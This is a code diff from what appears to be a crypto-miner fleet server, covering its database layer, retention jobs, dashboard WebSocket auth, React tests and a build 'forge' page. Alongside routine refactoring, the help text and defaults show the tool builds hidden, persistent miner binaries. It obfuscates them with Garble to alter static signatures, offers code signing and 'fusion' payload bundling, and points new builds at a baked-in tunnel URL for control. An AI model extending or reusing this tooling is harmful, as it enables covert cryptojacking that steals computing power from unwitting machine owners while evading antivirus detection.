%+v", got.ExtraFiles) + } +} + func TestGetBuildNotFound(t *testing.T) { d := openTestDB(t) _, err := d.GetBuild("missing") diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index 357c046..004996b 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -2,9 +2,11 @@ package db import ( "database/sql" + "encoding/json" "fmt" "os" "path/filepath" + "strings" "time" "crypto-miner-server/internal/models" @@ -115,6 +117,7 @@ func (d *Database) migrate() error { _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`) _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_name TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN download_url TEXT NOT NULL DEFAULT ''`) + _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN extra_files TEXT NOT NULL DEFAULT '[]'`) _, _ = d.Exec(`ALTER TABLE builds ADD COLUMN pinned INTEGER NOT NULL DEFAULT 0`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`) _, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`) @@ -252,25 +255,50 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash // Build operations -const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned` +const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned` + +func encodeBuildExtraFiles(files []models.BuildExtraFile) string { + if len(files) == 0 { + return "[]" + } + b, err := json.Marshal(files) + if err != nil { + return "[]" + } + return string(b) +} + +func decodeBuildExtraFiles(raw string) []models.BuildExtraFile { + raw = strings.TrimSpace(raw) + if raw == "" || raw == "[]" || raw == "null" { + return nil + } + var files []models.BuildExtraFile + if err := json.Unmarshal([]byte(raw), &files); err != nil { + return nil + } + return files +} func scanBuild(row interface { Scan(...any) error }) (*models.BuildRecord, error) { b := &models.BuildRecord{} var pinnedInt int + var extraFilesRaw string err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize, - &b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt) + &b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt) b.Pinned = pinnedInt == 1 + b.ExtraFiles = decodeBuildExtraFiles(extraFilesRaw) return b, err } func (d *Database) InsertBuild(b *models.BuildRecord) error { _, err := d.Exec(`INSERT INTO builds - (id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, + (id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`, b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize, - b.FilePath, b.FileName, b.DownloadURL, b.Platform, b.CreatedAt, + b.FilePath, b.FileName, b.DownloadURL, encodeBuildExtraFiles(b.ExtraFiles), b.Platform, b.CreatedAt, b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass) return err } diff --git a/server/internal/maintenance/retention.go b/server/internal/maintenance/retention.go index c9b9a05..dc13512 100644 --- a/server/internal/maintenance/retention.go +++ b/server/internal/maintenance/retention.go @@ -1,9 +1,11 @@ package maintenance import ( + "context" "log" "os" "path/filepath" + "sync" "time" "crypto-miner-server/internal/db" @@ -15,21 +17,47 @@ var retentionTickInterval = 6 * time.Hour // runRetentionFn is the work function invoked by StartRetentionJobs (overridable in tests). var runRetentionFn = runRetention +var ( + retentionMu sync.Mutex + retentionCancel context.CancelFunc +) + // StartRetentionJobs purges old stats and build artifacts on an interval. func StartRetentionJobs(database *db.Database, dataDir string, statsHours, buildDays int) { if statsHours <= 0 && buildDays <= 0 { return } + ctx, cancel := context.WithCancel(context.Background()) + retentionMu.Lock() + retentionCancel = cancel + retentionMu.Unlock() + go func() { runRetentionFn(database, dataDir, statsHours, buildDays) ticker := time.NewTicker(retentionTickInterval) defer ticker.Stop() - for range ticker.C { - runRetentionFn(database, dataDir, statsHours, buildDays) + for { + select { + case <-ctx.Done(): + return + case <-ticker.C: + runRetentionFn(database, dataDir, statsHours, buildDays) + } } }() } +// StopRetentionJobs stops the background retention loop started by StartRetentionJobs. +func StopRetentionJobs() { + retentionMu.Lock() + cancel := retentionCancel + retentionCancel = nil + retentionMu.Unlock() + if cancel != nil { + cancel() + } +} + func runRetention(database *db.Database, dataDir string, statsHours, buildDays int) { if statsHours > 0 { cutoff := time.Now().Add(-time.Duration(statsHours) * time.Hour) diff --git a/server/internal/maintenance/retention_test.go b/server/internal/maintenance/retention_test.go index 615d55f..e8595ec 100644 --- a/server/internal/maintenance/retention_test.go +++ b/server/internal/maintenance/retention_test.go @@ -44,6 +44,7 @@ func seedHashrateSample(t *testing.T, d *db.Database, agentID string, ts time.Ti func TestStartRetentionJobs_NoOpWhenDisabled(t *testing.T) { d := openTestDB(t) + t.Cleanup(StopRetentionJobs) StartRetentionJobs(d, t.TempDir(), 0, 0) // Disabled config must not start a goroutine that mutates data. time.Sleep(20 * time.Millisecond) @@ -53,6 +54,7 @@ func TestStartRetentionJobs_RunsImmediately(t *testing.T) { d := openTestDB(t) seedHashrateSample(t, d, "a1", time.Now().Add(-48*time.Hour), 100) + t.Cleanup(StopRetentionJobs) StartRetentionJobs(d, t.TempDir(), 24, 0) deadline := time.Now().Add(2 * time.Second) for time.Now().Before(deadline) { @@ -81,8 +83,8 @@ func TestStartRetentionJobs_TickerInterval(t *testing.T) { runRetentionFn = noopRetention t.Cleanup(func() { retentionTickInterval = prev - // StartRetentionJobs has no stop handle; leave a noop so the leaked goroutine is harmless. - runRetentionFn = func(database *db.Database, dataDir string, statsHours, buildDays int) {} + runRetentionFn = runRetention + StopRetentionJobs() }) StartRetentionJobs(d, t.TempDir(), 1, 0) @@ -97,6 +99,42 @@ func TestStartRetentionJobs_TickerInterval(t *testing.T) { t.Fatalf("expected at least 2 retention passes (immediate + tick), got %d", passes) } +func TestStopRetentionJobs_StopsBackgroundLoop(t *testing.T) { + prev := retentionTickInterval + retentionTickInterval = 40 * time.Millisecond + t.Cleanup(func() { + retentionTickInterval = prev + runRetentionFn = runRetention + StopRetentionJobs() + }) + + d := openTestDB(t) + var passes int32 + runRetentionFn = func(database *db.Database, dataDir string, statsHours, buildDays int) { + atomic.AddInt32(&passes, 1) + } + + StartRetentionJobs(d, t.TempDir(), 1, 0) + + deadline := time.Now().Add(250 * time.Millisecond) + for time.Now().Before(deadline) { + if atomic.LoadInt32(&passes) >= 2 { + break + } + time.Sleep(10 * time.Millisecond) + } + if atomic.LoadInt32(&passes) < 2 { + t.Fatalf("expected at least 2 passes before stop, got %d", passes) + } + + before := atomic.LoadInt32(&passes) + StopRetentionJobs() + time.Sleep(120 * time.Millisecond) + if got := atomic.LoadInt32(&passes); got != before { + t.Fatalf("expected no retention passes after stop, before=%d after=%d", before, got) + } +} + func TestRunRetention_PurgesHashrateSamples(t *testing.T) { d := openTestDB(t) seedHashrateSample(t, d, "a1", time.Now().Add(-48*time.Hour), 100) diff --git a/server/internal/models/agent.go b/server/internal/models/agent.go index ea7d814..a3a10b9 100644 --- a/server/internal/models/agent.go +++ b/server/internal/models/agent.go @@ -121,18 +121,24 @@ type Job struct { CreatedAt time.Time `json:"created_at"` } +type BuildExtraFile struct { + FileName string `json:"file_name"` + FilePath string `json:"file_path,omitempty"` +} + type BuildRecord struct { - ID string `json:"id"` - WorkerName string `json:"worker_name"` - ServerURL string `json:"server_url"` - Wallet string `json:"wallet"` - Threads int `json:"threads"` - FileSize int64 `json:"file_size"` - BundleSize int64 `json:"bundle_size"` - FilePath string `json:"file_path"` - FileName string `json:"file_name"` // base filename for display - DownloadURL string `json:"download_url"` // relative URL; client prepends server origin - Platform string `json:"platform"` // "windows", "linux", "darwin", "universal" + ID string `json:"id"` + WorkerName string `json:"worker_name"` + ServerURL string `json:"server_url"` + Wallet string `json:"wallet"` + Threads int `json:"threads"` + FileSize int64 `json:"file_size"` + BundleSize int64 `json:"bundle_size"` + FilePath string `json:"file_path"` + FileName string `json:"file_name"` // base filename for display + DownloadURL string `json:"download_url"` // relative URL; client prepends server origin + ExtraFiles []BuildExtraFile `json:"extra_files,omitempty"` + Platform string `json:"platform"` // "windows", "linux", "darwin", "universal" CreatedAt time.Time `json:"created_at"` Pinned bool `json:"pinned"` // true = this build is served by /get and /install.* // Pool settings diff --git a/server/internal/models/agent_test.go b/server/internal/models/agent_test.go index ad71e39..3ca5c70 100644 --- a/server/internal/models/agent_test.go +++ b/server/internal/models/agent_test.go @@ -153,6 +153,7 @@ func TestBuildRecordJSONRoundTrip(t *testing.T) { Threads: 4, FileSize: 1024, BundleSize: 2048, FilePath: "/data/build.exe", FileName: "build.exe", DownloadURL: "/api/v1/builds/build-1/download", Platform: "windows", + ExtraFiles: []BuildExtraFile{{FileName: "README.txt"}}, CreatedAt: time.Now().UTC(), Pinned: true, PoolHost: "pool.example.com", PoolPort: 3333, PoolTLS: true, PoolPass: "x", }) diff --git a/server/main.go b/server/main.go index 47abee0..b922fad 100644 --- a/server/main.go +++ b/server/main.go @@ -94,6 +94,9 @@ func main() { } } + // Load dashboard auth early so credentials print before slow startup steps. + api.LoadUsers(cfg.DataDir) + // Initialize database database, err := db.New(cfg.DataDir) if err != nil { @@ -182,6 +185,7 @@ func main() { log.Println("Config handler initialized") maintenance.StartRetentionJobs(database, cfg.DataDir, cfg.Server.StatsRetentionHours, cfg.Server.BuildRetentionDays) + defer maintenance.StopRetentionJobs() // Pre-connect default upstream pool from server config (Forge defaults seed from here) go func() { @@ -422,13 +426,23 @@ func resolveDataDir(dataDir, projectRoot string) string { return abs } +func projectRootMarker(dir string) bool { + for _, name := range []string{"devrun.bat", "LAUNCH.bat", "run.bat"} { + if _, err := os.Stat(filepath.Join(dir, name)); err == nil { + return true + } + } + return false +} + func findProjectRoot() string { if cwd, err := os.Getwd(); err == nil { - if _, err := os.Stat(filepath.Join(cwd, "run.bat")); err == nil { + if projectRootMarker(cwd) { return cwd } - if _, err := os.Stat(filepath.Join(filepath.Dir(cwd), "run.bat")); err == nil { - return filepath.Dir(cwd) + parent := filepath.Dir(cwd) + if projectRootMarker(parent) { + return parent } } if exe, err := os.Executable(); err == nil { @@ -439,7 +453,7 @@ func findProjectRoot() string { filepath.Join(exeDir, "..", ".."), } for _, candidate := range candidates { - if _, err := os.Stat(filepath.Join(candidate, "run.bat")); err == nil { + if projectRootMarker(candidate) { abs, _ := filepath.Abs(candidate) return abs } @@ -454,7 +468,7 @@ func findProjectRoot() string { // findWebRoot locates the frontend build output directory func findWebRoot() string { candidates := []string{ - "webroot", // Copied by run.bat + "webroot", // Copied by devrun.bat "web/dist", // Vite build output relative to server/ filepath.Join("..", "server", "web", "dist"), // Relative to project root filepath.Join("server", "web", "dist"), // From project root diff --git a/server/main_test.go b/server/main_test.go index 7370ac1..65e7c8a 100644 --- a/server/main_test.go +++ b/server/main_test.go @@ -47,13 +47,19 @@ func TestFindProjectRootFromServerDir(t *testing.T) { t.Fatal(err) } root := findProjectRoot() - runBat := filepath.Join(root, "run.bat") - if _, err := os.Stat(runBat); err != nil { - t.Fatalf("findProjectRoot=%q missing run.bat: %v", root, err) + found := false + for _, name := range []string{"devrun.bat", "LAUNCH.bat", "run.bat"} { + if _, err := os.Stat(filepath.Join(root, name)); err == nil { + found = true + break + } + } + if !found { + t.Fatalf("findProjectRoot=%q missing devrun.bat/LAUNCH.bat/run.bat", root) } // When tests run from server/, root should be parent of cwd or cwd itself. if root != cwd && root != filepath.Dir(cwd) { - t.Logf("findProjectRoot=%q cwd=%q (acceptable if run.bat layout differs)", root, cwd) + t.Logf("findProjectRoot=%q cwd=%q (acceptable if marker layout differs)", root, cwd) } } diff --git a/server/web/e2e/remote-actions.spec.ts b/server/web/e2e/remote-actions.spec.ts index 70a139a..ffeb8be 100644 --- a/server/web/e2e/remote-actions.spec.ts +++ b/server/web/e2e/remote-actions.spec.ts @@ -27,12 +27,68 @@ const OFFLINE_AGENT = { test.describe('Remote actions UI', () => { test.beforeEach(async ({ page }) => { - await page.route('**/api/v1/agents', async (route) => { - if (route.request().method() === 'GET' && route.request().url().endsWith('/agents')) { - await route.fulfill({ json: [OFFLINE_AGENT] }); + // AgentsPage syncs from WebSocket when connected; mock dashboard WS init (HTTP route cannot intercept WS). + await page.addInitScript((agent) => { + const RealWS = WebSocket; + const g = globalThis as typeof globalThis & { __afRealWebSocket?: typeof WebSocket }; + g.__afRealWebSocket = RealWS; + globalThis.WebSocket = function (url: string | URL, protocols?: string | string[]) { + const urlStr = String(url); + if (!urlStr.includes('/ws/dashboard')) { + return new g.__afRealWebSocket!(url, protocols); + } + let openHandler: (() => void) | null = null; + let messageHandler: ((ev: MessageEvent) => void) | null = null; + let closeHandler: (() => void) | null = null; + const sock = { + readyState: 0, + send() {}, + close() { + sock.readyState = 3; + closeHandler?.(); + }, + set onopen(fn: (() => void) | null) { + openHandler = fn; + }, + get onopen() { + return openHandler; + }, + set onmessage(fn: ((ev: MessageEvent) => void) | null) { + messageHandler = fn; + }, + get onmessage() { + return messageHandler; + }, + set onclose(fn: (() => void) | null) { + closeHandler = fn; + }, + get onclose() { + return closeHandler; + }, + set onerror(_fn: (() => void) | null) {}, + get onerror() { + return null; + }, + }; + queueMicrotask(() => { + sock.readyState = 1; + openHandler?.(); + messageHandler?.({ + data: JSON.stringify({ type: 'init', payload: { agents: [agent] } }), + } as MessageEvent); + }); + return sock as unknown as WebSocket; + } as unknown as typeof WebSocket; + globalThis.WebSocket.OPEN = 1; + globalThis.WebSocket.CONNECTING = 0; + globalThis.WebSocket.CLOSED = 3; + }, OFFLINE_AGENT); + await page.route(/\/api\/v1\/agents$/, async (route) => { + if (route.request().method() !== 'GET') { + await route.continue(); return; } - await route.continue(); + await route.fulfill({ json: [OFFLINE_AGENT] }); }); await page.route('**/api/v1/agents/*/stats*', async (route) => { await route.fulfill({ json: [] }); diff --git a/server/web/src/App.test.tsx b/server/web/src/App.test.tsx index 97f42aa..58b2761 100644 --- a/server/web/src/App.test.tsx +++ b/server/web/src/App.test.tsx @@ -6,6 +6,7 @@ import { describe, expect, it, vi } from 'vitest'; import { render, screen } from '@testing-library/react'; import { MemoryRouter, Routes, Route, Navigate } from 'react-router-dom'; import App, { PageFallback } from './App'; +import { routerFuture } from './routerFuture'; vi.mock('./context/WebSocketProvider', () => ({ WebSocketProvider: ({ children }: { children: ReactNode }) => <>{children}, @@ -42,7 +43,7 @@ describe('App route config', () => { it('redirects / to dashboard and /builder to forge', () => { function RedirectProbe({ path }: { path: string }) { return ( - + } /> Dashboard Page} /> @@ -61,7 +62,7 @@ describe('App route config', () => { it('renders crucible route via App shell', async () => { render( - + ); diff --git a/server/web/src/api/auth.ts b/server/web/src/api/auth.ts index 7ad2b86..931f0c3 100644 --- a/server/web/src/api/auth.ts +++ b/server/web/src/api/auth.ts @@ -8,13 +8,19 @@ export function getStoredAuth(): string | null { } } -export function setStoredAuth(username: string, password: string) { +export function setStoredAuth(username: string, password: string, opts?: { silent?: boolean }) { const token = btoa(`${username}:${password}`); sessionStorage.setItem(AUTH_KEY, token); + if (!opts?.silent) { + window.dispatchEvent(new Event('aetherforge-auth')); + } } -export function clearStoredAuth() { +export function clearStoredAuth(opts?: { silent?: boolean }) { sessionStorage.removeItem(AUTH_KEY); + if (!opts?.silent) { + window.dispatchEvent(new Event('aetherforge-auth')); + } } export function authHeaders(): Record { diff --git a/server/web/src/api/client.test.ts b/server/web/src/api/client.test.ts index 77c8709..9d1b9c8 100644 --- a/server/web/src/api/client.test.ts +++ b/server/web/src/api/client.test.ts @@ -263,6 +263,16 @@ describe('api client', () => { expect(JSON.parse(lastFetch().init.body as string)).toEqual({ username: 'alice', password: 'secret' }); }); + it('rotateFleetSecret POSTs rotate endpoint', async () => { + fetchMock.mockResolvedValueOnce(jsonResponse({ ok: true, hint: 'abcd1234...' })); + + const res = await api.rotateFleetSecret(); + + expect(res.ok).toBe(true); + expect(lastFetch().url).toBe('/api/v1/server/rotate-secret'); + expect(lastFetch().init.method).toBe('POST'); + }); + it('getXmrPrice and getServerInfo', async () => { fetchMock .mockResolvedValueOnce(jsonResponse({ usd: 200, updated_at: 'now' })) diff --git a/server/web/src/api/client.ts b/server/web/src/api/client.ts index 3db0e4d..50e3c5c 100644 --- a/server/web/src/api/client.ts +++ b/server/web/src/api/client.ts @@ -3,6 +3,9 @@ import { authHeaders } from './auth'; const API_BASE = '/api/v1'; +// Agent-only REST (/agent/decide, /agent/report, /agent/heartbeat) is intentionally +// omitted here — forged agents call those with X-Fleet-Secret, not dashboard Basic Auth. + async function fetchJSON(url: string, options?: RequestInit): Promise { const { headers: extraHeaders, ...rest } = options ?? {}; const res = await fetch(`${API_BASE}${url}`, { @@ -118,6 +121,8 @@ export const api = { // Health / server healthCheck: () => fetchJSON<{ status: string }>('/health'), getServerInfo: () => fetchJSON('/server/info'), + rotateFleetSecret: () => + fetchJSON<{ ok: boolean; hint?: string }>('/server/rotate-secret', { method: 'POST' }), // Fleet ops getAlerts: () => fetchJSON('/alerts'), diff --git a/server/web/src/components/components.test.tsx b/server/web/src/components/components.test.tsx index 10a5581..7ddec08 100644 --- a/server/web/src/components/components.test.tsx +++ b/server/web/src/components/components.test.tsx @@ -6,6 +6,7 @@ import { cleanup, render, screen, waitFor, fireEvent } from '@testing-library/re import userEvent from '@testing-library/user-event'; import { MemoryRouter } from 'react-router-dom'; import { type ReactNode } from 'react'; +import { routerFuture } from '../routerFuture'; import { mockAgent, mockServerInfo } from '../test/fixtures'; import { api } from '../api/client'; import { downloadApiFile, downloadAuthedFile } from '../api/download'; @@ -169,7 +170,9 @@ describe('DownloadButton', () => { ); const btn = screen.getByRole('button', { name: 'Save' }); await userEvent.setup().click(btn); - expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled(); + await waitFor(() => { + expect(screen.getByRole('button', { name: 'Downloading…' })).toBeDisabled(); + }); await waitFor(() => expect(downloadApiFileMock).toHaveBeenCalledWith('/api/x', 'a.bin')); }); @@ -645,7 +648,7 @@ describe('VisualComponents', () => { it('ForgeCalibrateCompare links to routes', () => { render( - + ); @@ -697,7 +700,7 @@ describe('SystemStatusBar', () => { it('shows server and fleet pills after poll', async () => { render( - + ); @@ -780,7 +783,7 @@ describe('Layout', () => { it('renders nav links and children', async () => { render( - +
page body
diff --git a/server/web/src/context/WebSocketProvider.test.tsx b/server/web/src/context/WebSocketProvider.test.tsx index 0deaeea..a13d7df 100644 --- a/server/web/src/context/WebSocketProvider.test.tsx +++ b/server/web/src/context/WebSocketProvider.test.tsx @@ -48,6 +48,7 @@ describe('WebSocketProvider', () => { beforeEach(() => { sessionStorage.clear(); MockWebSocket.instances = []; + setStoredAuth('testuser', 'testpass', { silent: true }); vi.stubGlobal('WebSocket', MockWebSocket as unknown as typeof WebSocket); Object.defineProperty(window, 'location', { value: { protocol: 'http:', host: 'localhost:8080' }, @@ -69,6 +70,7 @@ describe('WebSocketProvider', () => { it('connects to ws dashboard with auth token query param', () => { setStoredAuth('drjones', 'secret'); + MockWebSocket.instances = []; const { result } = renderHook(() => useWebSocketContext(), { wrapper }); const ws = latestSocket(); @@ -79,10 +81,11 @@ describe('WebSocketProvider', () => { expect(result.current.isConnected).toBe(true); }); - it('connects without token when logged out', () => { - clearStoredAuth(); + it('does not connect when logged out', () => { + clearStoredAuth({ silent: true }); + MockWebSocket.instances = []; renderHook(() => useWebSocketContext(), { wrapper }); - expect(latestSocket().url).toBe('ws://localhost:8080/ws/dashboard'); + expect(MockWebSocket.instances).toHaveLength(0); }); it('useWebSocket re-exports context hook', () => { @@ -160,6 +163,7 @@ describe('WebSocketProvider', () => { it('schedules reconnect after close', () => { vi.useFakeTimers(); + MockWebSocket.instances = []; renderHook(() => useWebSocketContext(), { wrapper }); const first = latestSocket(); diff --git a/server/web/src/context/WebSocketProvider.tsx b/server/web/src/context/WebSocketProvider.tsx index 2eb3b7c..f60f02f 100644 --- a/server/web/src/context/WebSocketProvider.tsx +++ b/server/web/src/context/WebSocketProvider.tsx @@ -40,14 +40,25 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) { reconnectTimer.current = null; } + const token = getStoredAuth(); + if (!token) { + const existing = wsRef.current; + if (existing) { + existing.onclose = null; + existing.close(); + wsRef.current = null; + } + setIsConnected(false); + return; + } + const existing = wsRef.current; if (existing && (existing.readyState === WebSocket.OPEN || existing.readyState === WebSocket.CONNECTING)) { existing.close(); } const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; - const token = getStoredAuth(); - const wsUrl = `${protocol}//${window.location.host}/ws/dashboard${token ? `?token=${encodeURIComponent(token)}` : ''}`; + const wsUrl = `${protocol}//${window.location.host}/ws/dashboard?token=${encodeURIComponent(token)}`; const ws = new WebSocket(wsUrl); wsRef.current = ws; @@ -57,6 +68,7 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) { if (unmounted.current) return; setIsConnected(false); if (reconnectTimer.current) clearTimeout(reconnectTimer.current); + if (!getStoredAuth()) return; reconnectTimer.current = setTimeout(connect, 3000); }; @@ -201,8 +213,11 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) { useEffect(() => { unmounted.current = false; connect(); + const onAuthChange = () => connect(); + window.addEventListener('aetherforge-auth', onAuthChange); return () => { unmounted.current = true; + window.removeEventListener('aetherforge-auth', onAuthChange); if (reconnectTimer.current) clearTimeout(reconnectTimer.current); const ws = wsRef.current; if (ws) { ws.onclose = null; ws.close(); } diff --git a/server/web/src/help/forgeDefaults.test.ts b/server/web/src/help/forgeDefaults.test.ts index 4f4ce8a..4049a01 100644 --- a/server/web/src/help/forgeDefaults.test.ts +++ b/server/web/src/help/forgeDefaults.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest'; -import { FORGE_BUILD_DEFAULTS, forgeDefaultsFromServer } from './forgeDefaults'; +import { FORGE_BUILD_DEFAULTS, DEFAULT_PUBLIC_TUNNEL, forgeDefaultsFromServer } from './forgeDefaults'; import { mockServerConfig, mockServerInfo } from '../test/fixtures'; describe('FORGE_BUILD_DEFAULTS', () => { @@ -47,12 +47,12 @@ describe('forgeDefaultsFromServer', () => { expect(result.server_url).toBe('https://tunnel.example.com'); }); - it('falls back to suggested_url when public_url is blank', () => { + it('falls back to baked tunnel URL when public_url is blank', () => { const config = mockServerConfig({ server: { public_url: ' ' }, }); const result = forgeDefaultsFromServer(config, mockServerInfo); - expect(result.server_url).toBe(mockServerInfo.suggested_url); + expect(result.server_url).toBe(DEFAULT_PUBLIC_TUNNEL); }); it('reflects obfuscate and sign defaults from server config', () => { diff --git a/server/web/src/help/forgeDefaults.ts b/server/web/src/help/forgeDefaults.ts index 16b4717..c2fa257 100644 --- a/server/web/src/help/forgeDefaults.ts +++ b/server/web/src/help/forgeDefaults.ts @@ -1,5 +1,8 @@ import type { BuildRequest, ServerConfig, ServerInfo } from '../types'; +/** Baked Cloudflare tunnel — used when Calibrate public_url is blank. */ +export const DEFAULT_PUBLIC_TUNNEL = 'https://killa.thetempleofdoom.com'; + /** Defaults for a new forge build — not stored in Calibrate. */ export const FORGE_BUILD_DEFAULTS: Omit< BuildRequest, @@ -62,7 +65,7 @@ export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: Server return { ...FORGE_BUILD_DEFAULTS, worker_name: '', - server_url: publicUrl || serverInfo.suggested_url, + server_url: publicUrl || DEFAULT_PUBLIC_TUNNEL || serverInfo.suggested_url, wallet: config.wallet.address, pool_host: config.pool.host, pool_port: config.pool.port, diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts index 1d33828..ba09f3d 100644 --- a/server/web/src/help/settingHelp.ts +++ b/server/web/src/help/settingHelp.ts @@ -27,11 +27,11 @@ export const FIELD_HELP: Record = { forge_recommended_defaults: 'Idle mining (only when you are not using the PC), 75% of CPU cores, hidden window, persistence, self-healing, and worker firewall rules — good starting point for a home LAN fleet.', obfuscate: - 'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (run.bat installs it).', + 'Runs Garble on the worker binary before packaging. Slows the forge slightly but changes static signatures. Requires garble in PATH (devrun.bat installs it).', sign_build: 'Signs the output .exe with your Authenticode certificate after forging. Configure the cert thumbprint in Calibrate → Forge Pipeline first.', obfuscate_default: - 'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with run.bat release.', + 'When checked, new Forge forms default to Garble obfuscation. Also enabled when you launch with devrun.bat release.', sign_enabled: 'When checked, new Forge forms default to signing outputs. You still need a valid code-signing cert thumbprint below.', sign_cert_thumbprint: diff --git a/server/web/src/main.tsx b/server/web/src/main.tsx index 3963950..10836f2 100644 --- a/server/web/src/main.tsx +++ b/server/web/src/main.tsx @@ -2,6 +2,7 @@ import React from 'react'; import ReactDOM from 'react-dom/client'; import { BrowserRouter } from 'react-router-dom'; import App from './App'; +import { routerFuture } from './routerFuture'; import ErrorBoundary from './components/ErrorBoundary'; import './styles/global.css'; import './styles/steampunk-theme.css'; @@ -21,7 +22,7 @@ ReactDOM.createRoot(document.getElementById('root')!).render( } > - + diff --git a/server/web/src/pages/BuildManagerPage.test.tsx b/server/web/src/pages/BuildManagerPage.test.tsx index 0e217b4..0c5ff81 100644 --- a/server/web/src/pages/BuildManagerPage.test.tsx +++ b/server/web/src/pages/BuildManagerPage.test.tsx @@ -12,6 +12,7 @@ import BuildManagerPage, { truncateWallet, } from './BuildManagerPage'; import { api } from '../api/client'; +import { routerFuture } from '../routerFuture'; vi.mock('../components/Fleet/LanDownloadQR', () => ({ LanDownloadQR: () =>
, @@ -82,7 +83,7 @@ describe('BuildManagerPage', () => { it('renders build list after load', async () => { render( - + ); diff --git a/server/web/src/pages/BuildManagerPage.tsx b/server/web/src/pages/BuildManagerPage.tsx index 1ce366a..73d1933 100644 --- a/server/web/src/pages/BuildManagerPage.tsx +++ b/server/web/src/pages/BuildManagerPage.tsx @@ -221,7 +221,7 @@ function BuildCard({
DOWNLOAD
@@ -234,6 +234,16 @@ function BuildCard({ > ↓ Uninstall script + {build.extra_files?.map((f) => ( + + ↓ {f.file_name} + + ))}
diff --git a/server/web/src/pages/BuilderPage.test.tsx b/server/web/src/pages/BuilderPage.test.tsx index d010c9f..df7ddf8 100644 --- a/server/web/src/pages/BuilderPage.test.tsx +++ b/server/web/src/pages/BuilderPage.test.tsx @@ -7,12 +7,13 @@ import userEvent from '@testing-library/user-event'; import { MemoryRouter } from 'react-router-dom'; import BuilderPage, { formatBytes } from './BuilderPage'; import { ForgeProvider } from '../context/ForgeContext'; +import { routerFuture } from '../routerFuture'; import { mockServerConfig, mockServerInfo } from '../test/fixtures'; import { api } from '../api/client'; function renderBuilder(initialEntries = ['/forge']) { return render( - + diff --git a/server/web/src/pages/BuilderPage.tsx b/server/web/src/pages/BuilderPage.tsx index 563c42c..8886f38 100644 --- a/server/web/src/pages/BuilderPage.tsx +++ b/server/web/src/pages/BuilderPage.tsx @@ -19,7 +19,7 @@ import { type ForgeDeliverable, } from '../help/forgeFormNormalize'; import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints'; -import { buildRequestFromRecord } from '../help/buildManager'; +import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager'; import DownloadButton from '../components/DownloadButton'; import { useForge } from '../context/ForgeContext'; import { @@ -272,6 +272,7 @@ export default function BuilderPage() { try { const data = await api.getBlueprint(name); setCompareBlueprint(data as Record); + setBlueprintName(name); // Merge loaded data into form, preserving any fields not in the blueprint setForm((prev) => (prev ? { ...prev, ...data } : prev)); setShowBlueprints(false); @@ -341,7 +342,9 @@ export default function BuilderPage() { const reader = new FileReader(); reader.onload = (evt) => { try { - const data = JSON.parse(evt.target?.result as string); + const data = JSON.parse(evt.target?.result as string) as Record; + setCompareBlueprint(data); + setBlueprintName(file.name); setForm((prev) => (prev ? { ...prev, ...data } : prev)); setBlueprintMsg(`✅ Blueprint loaded from "${file.name}"`); setTimeout(() => setBlueprintMsg(''), 3000); @@ -594,6 +597,10 @@ export default function BuilderPage() { ); const canForge = form ? !preflightHasErrors(preflightChecks) : false; const errorCount = preflightChecks.filter((c) => c.level === 'error').length; + const blueprintChanges = useMemo(() => { + if (!compareBlueprint || !form) return []; + return blueprintDiff(compareBlueprint, form as unknown as Record); + }, [compareBlueprint, form]); const fusionIsExe = fusionPayloadKind(fusionPrepFile) === 'exe'; const fusionMediaMode = form?.fusion_media_mode || 'paired'; @@ -754,6 +761,44 @@ export default function BuilderPage() { )} + {compareBlueprint && blueprintChanges.length > 0 && ( +
+
+

+ Blueprint diff — {blueprintName || 'loaded blueprint'} +

+ +
+

+ Fields that differ from the loaded blueprint (your previous form values were kept where they conflict). +

+
    + {blueprintChanges.map((row) => ( +
